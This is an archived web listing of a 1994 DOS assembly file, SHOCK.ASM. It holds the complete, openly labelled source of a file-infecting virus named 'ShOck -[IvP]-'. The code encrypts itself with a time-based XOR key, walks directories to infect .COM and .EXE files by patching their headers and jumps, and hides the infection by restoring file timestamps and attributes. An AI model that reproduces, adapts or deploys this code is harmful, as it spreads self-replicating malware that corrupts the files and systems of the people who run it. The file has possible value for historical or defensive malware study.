home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / IVUPDAT2.ZIP / IVPSHOCK.ZIP / SHOCK.ASM next >
Assembly Source File  |  1994-03-12  |  15KB  |  371 lines

  1. ;
  2. ;  ShOck -[IvP]- written by Dark Warrior
  3. ;  Death to those who oppose.
  4. ;  Also use TASM /M SHOCK.ASM to create.
  5. ;
  6.  
  7. code    segment public 'code'
  8.         assume  cs:code
  9.         org     100h                              ; All .COM files start here
  10.  
  11. ID = 'TD'                                         ; Id for infected files
  12.  
  13. start:
  14.         db 0e9h,0,0                               ; Jump to the next command
  15.  
  16. virus:
  17.         call    realcode                          ; Push current location on stack
  18. realcode:
  19.         nop
  20.         nop
  21.         nop
  22.         nop
  23.         pop     bp                                ; Get location off stack
  24.         nop
  25.         nop
  26.         nop
  27.         sub     bp,offset realcode                ; Adjust it for our pointer
  28.         nop
  29.         nop
  30.         nop
  31.         call    encrypt_decrypt                   ; Decrypt the virus first
  32.  
  33. encrypt_start   equ     $                         ; From here is encrypted
  34.  
  35.         cmp     sp,id                             ; COM or EXE?
  36.         je      restoreEXE
  37.  
  38.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  39.         mov     di,100h                           ; Location of where to put it in di
  40.         push    di                                ; Save so we could just return when done
  41.         movsb                                     ; Move a byte
  42.         movsw                                     ; Move a word
  43.         jmp     exitrestore
  44.  
  45. restoreEXE:
  46.         push    ds                                ; Save ExE ds
  47.         push    es                                ; Save ExE es
  48.         push    cs
  49.         pop     ds                                ; DS now equals CS
  50.         push    cs
  51.         pop     es                                ; ES now equals CS
  52.         lea     si,[bp+jmpsave2]
  53.         lea     di,[bp+jmpsave]
  54.         movsw                                     ; Move a word
  55.         movsw                                     ; Move a word
  56.         movsw                                     ; Move a word
  57.         movsw                                     ; Move a word
  58.  
  59. ExitRestore:
  60.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  61.         call    set_DTA                           ; Move it
  62.  
  63.         mov     ax,3524h                          ; Get int 24 handler
  64.         int     21h                               ; To ES:BX
  65.         mov     word ptr [bp+oldint24],bx         ; Save it
  66.         mov     word ptr [bp+oldint24+2],es
  67.  
  68.         mov     ah,25h                            ; Set new int 24 handler
  69.         lea     dx,[bp+offset int24]              ; DS:DX->new handler
  70.         int     21h
  71.  
  72.         push    cs                                ; Restore ES
  73.         pop     es                                ; 'cuz it was changed
  74.  
  75.         mov     ah,47h                            ; Get the current directory
  76.         mov     dl,0h                             ; On current drive
  77.         lea     si,[bp+offset currentdir]         ; Where to keep it
  78.         int     21h
  79.  
  80. dirloop:
  81.         lea     dx,[bp+offset exefilespec]
  82.         call    findfirst
  83.         lea     dx,[bp+offset comfilespec]
  84.         call    findfirst
  85.  
  86.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  87.         mov     ah,3bh                            ; Change directory
  88.         int     21h
  89.         jnc     dirloop                           ; If no problems the look for files
  90.  
  91.         mov     ah,9                              ; Display string
  92.         lea     dx,[bp+virusname]
  93.         int     21h
  94.  
  95.         mov     ax,2524h                          ; Restore int 24 handler
  96.         lds     dx,[bp+offset oldint24]           ; To original
  97.         int     21h
  98.  
  99.         push    cs
  100.         pop     ds                                ; Do this because the DS gets changed
  101.  
  102.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  103.         mov     ah,3bh                            ; Change to there
  104.         int     21h
  105.  
  106.         mov     dx,80h                            ; Location of original DTA
  107.         call    set_dta                           ; Put it back there
  108.  
  109.         cmp     sp,id-4                           ; EXE or COM?
  110.         jz      returnEXE
  111.  
  112.         retn                                      ; Return to 100h to original jump
  113.  
  114. ReturnEXE:
  115.         pop     es                                ; Get original ES
  116.         pop     ds                                ; Get original DS
  117.  
  118.         mov     ax,es
  119.         add     ax,10h
  120.         add     word ptr cs:[bp+jmpsave+2],ax
  121.         add     ax,word ptr cs:[bp+stacksave+2]
  122.         cli                                       ; Clear int's because of stack manipulation
  123.         mov     sp,word ptr cs:[bp+stacksave]
  124.         mov     ss,ax
  125.         sti
  126.         db      0eah                              ; Jump ssss:oooo
  127. jmpsave dd      ?                                 ; Jump location
  128. stacksave dd    ?                                 ; Original cs:ip
  129. jmpsave2 dd     0fff00000h                        ; Used with carrier file
  130. stacksave2 dd   ?
  131.  
  132. findfirst:
  133.         mov     ah,4eh                            ; Find first file
  134.         mov     cx,7                              ; Find all attributes
  135.  
  136. findnext:
  137.         int     21h                               ; Find first/next file int
  138.         jc      quit                              ; If none found then change dir
  139.  
  140.         call    infection                         ; Infect that file
  141.  
  142.         mov     ah,4fh                            ; Find next file
  143.         jmp     findnext                          ; Jump to the loop
  144.  
  145. quit:
  146.         ret
  147.  
  148. infection:
  149.         mov     ax,3d00h                          ; Open file for read only
  150.         call    open
  151.  
  152.         mov     ah,3fh                            ; Read from file
  153.         mov     cx,1ah
  154.         lea     dx,[bp+offset buffer]             ; Location to store them
  155.         int     21h
  156.  
  157.         mov     ah,3eh                            ; Close file
  158.         int     21h
  159.  
  160.         cmp     word ptr [bp+buffer],'ZM'         ; EXE?
  161.         jz      checkEXE                          ; Why yes, yes it is!
  162. CheckCom:
  163.         mov     bx,[bp+offset dta+1ah]            ; Get file size
  164.         mov     cx,word ptr [bp+buffer+1]         ; Get jump loc of file
  165.         add     cx,eof-virus+3                    ; Add for virus size
  166.  
  167.         cmp     bx,cx                             ; Does file size=file jump+virus size
  168.         jz      quitinfect                        ; Yup then get another file
  169.         jmp     infectcom
  170.  
  171. CheckExe:
  172.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  173.         jz      quitinfect                        ; Already infected so close up
  174.         jmp     infectexe
  175.  
  176. quitinfect:
  177.         ret
  178.  
  179. InfectCom:
  180.         sub     bx,3                              ; Adjust for new jump
  181.         lea     si,[bp+buffer]
  182.         lea     di,[bp+oldjump]
  183.         movsw
  184.         movsb
  185.         mov     [bp+buffer],byte ptr 0e9h
  186.         mov     word ptr [bp+buffer+1],bx         ; Save for later
  187.  
  188.         mov     cx,3                              ; Number of bytes to write
  189.  
  190.         jmp     finishinfection
  191. InfectExe:
  192.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  193.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  194.         mov     word ptr [bp+jmpsave2+2],es
  195.  
  196.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  197.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  198.         mov     word ptr [bp+stacksave2+2],ax
  199.  
  200.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  201.         mov     cl,4
  202.         shl     ax,cl
  203.         xchg    ax,bx
  204.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  205.         mov     dx,es                             ; its now in dx:ax
  206.         push    ax                                ; save these
  207.         push    dx
  208.  
  209.         sub     ax,bx                             ; subtract header size from fsize
  210.         sbb     dx,0                              ; subtract the carry too
  211.         mov     cx,10h                            ; convert to segment:offset form
  212.         div     cx
  213.  
  214.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  215.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  216.  
  217.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  218.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  219.         pop     dx                                ; get the file length back
  220.         pop     ax
  221.  
  222.         add     ax,eof-virus                      ; add virus size
  223.         adc     dx,0                              ; add with carry
  224.  
  225.         mov     cl,9                              ; calculates new file size
  226.         push    ax
  227.         shr     ax,cl
  228.         ror     dx,cl
  229.         stc
  230.         adc     dx,ax
  231.         pop     ax
  232.         and     ah,1
  233.  
  234.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  235.         mov     word ptr [bp+buffer+2],ax
  236.  
  237.         push    cs                                ; es = cs
  238.         pop     es
  239.  
  240.         mov     cx,1ah                            ; Number of bytes to write (Header)
  241. FinishInfection:
  242.         push    cx                                ; save # of bytes to write
  243.         xor     cx,cx                             ; Set attriutes to none
  244.         call    attributes
  245.  
  246.         mov     al,2                              ; open file read/write
  247.         call    open
  248.  
  249.         mov     ah,40h                            ; Write to file
  250.         lea     dx,[bp+buffer]                    ; Location of bytes
  251.         pop     cx                                ; Get number of bytes to write
  252.         int     21h
  253.         jc      closefile
  254.  
  255.         mov     al,02                             ; Move Fpointer to eof
  256.         Call    move_fp
  257.  
  258. get_time:
  259.         mov     ah,2ch                            ; Get time for our encryption value
  260.         int     21h
  261.         cmp     dh,0                              ; If its seconds are zere get another
  262.         je      get_time
  263.         mov     [bp+enc_value],dh                 ; Use seconds value for encryption
  264.         call    encrypt_infect                    ; Encrypt and infect the file
  265. closefile:
  266.         mov     ax,5701h                          ; Set files date/time back
  267.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  268.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  269.         int     21h
  270.  
  271.         mov     ah,3eh                            ; Close file
  272.         int     21h
  273.  
  274.         xor     cx,cx
  275.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  276.         call    attributes
  277.  
  278.         retn
  279.  
  280. move_fp:
  281.         mov     ah,42h                            ; Move file pointer
  282.         xor     cx,cx                             ; Al has location
  283.         xor     dx,dx                             ; Clear these
  284.         int     21h
  285.         retn
  286.  
  287. set_dta:
  288.         mov     ah,1ah                            ; Move the DTA location
  289.         int     21h
  290.         retn
  291.  
  292. open:
  293.         mov     ah,3dh                            ; open file
  294.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  295.         int     21h
  296.         xchg    ax,bx                             ; file handle in bx
  297.         ret
  298.  
  299. attributes:
  300.         mov     ax,4301h                          ; Set attributes to cx
  301.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  302.         int     21h
  303.         ret
  304. int24:                                            ; New int 24h (error) handler
  305.         mov     al,3                              ; Fail call
  306.         iret                                      ; Return from int 24 call
  307.  
  308. Virusname db 'ShOck -[IvP]-',10,13                ; Name Of The Virus
  309. Author    db 'Dark Warrior',10,13                 ; Author Of This Virus
  310. Made_with db '[IVP]',10,13,'$'                    ; Please do not remove this
  311.  
  312. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  313. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  314. directory    db '..',0                            ; Directory to change to
  315. oldjump      db  0cdh,020h,0h                     ; Old jump.  Is int 20h for file quit
  316.  
  317. encrypt_infect:
  318.         lea     si,[bp+offset move_begin]         ; Location of where to move from
  319.         lea     di,[bp+offset workarea]           ; Where to move it too
  320.         mov     cx,move_end-move_begin            ; Number of bytes to move
  321. move_loop:
  322.         movsb                                     ; Moves this routine into heap
  323.         loop    move_loop
  324.         lea     dx,[bp+offset workarea]
  325.         call    dx                                ; Jump to that routine just moved
  326.         ret
  327.  
  328. move_begin    equ     $                           ; Marks beginning of move
  329.         push    bx                                ; Save the file handle
  330.         lea     dx,[bp+offset encrypt_end]
  331.         call    dx                                ; Call the encrypt_decrypt procedure
  332.         pop     bx                                ; Get handle back in bx and return
  333.         mov     ah,40h                            ; Write to file
  334.         mov     cx,eof-virus                      ; Number of bytes
  335.         lea     dx,[bp+offset virus]              ; Where to write from
  336.         int     21h
  337.         push    bx                                ; Save the file handle
  338.         lea     dx,[bp+offset encrypt_end]
  339.         call    dx                                ; Decrypt the file and return
  340.         pop     bx                                ; Get handle back in bx and return
  341.         ret
  342. move_end      equ     $                           ; Marks the end of move
  343.  
  344. encrypt_end   equ     $                           ; Marks the end of encryption
  345.  
  346. encrypt_decrypt:
  347.         lea     bx,[bp+encrypt_start]             ; Where to start encryption
  348.         mov     cx,encrypt_end-encrypt_start      ; Number of bytes to encrypt
  349.         mov     dh,[bp+enc_value]                 ; Value to use for encryption
  350. encrypt_loop:
  351.         mov     ah,cs:[bx]                        ; Get a byte in ah
  352.         xor     ah,dh                             ; Xor it
  353.         mov     cs:[bx],ah                        ; Put it back
  354.         inc     bx                                ; Move to next byte and loop
  355.         loop    encrypt_loop
  356.         ret
  357.  
  358. enc_value     db    00h                           ; Hold the encryption value 00 for nul effect
  359.  
  360. eof     equ     $                                 ; Marks the end of file
  361.  
  362. workarea db     move_end-move_begin dup (?)       ; Holds the encrypt_infect routine
  363. currentdir db   64 dup (?)                        ; Holds the current dir
  364. dta     db      42 dup (?)                        ; Location of new DTA
  365. buffer db 1ah dup (?)                             ; Holds exe header
  366. oldint24 dd ?                                     ; Storage for old int 24h handler
  367.  
  368. code    ends
  369.         end     start
  370.  
  371.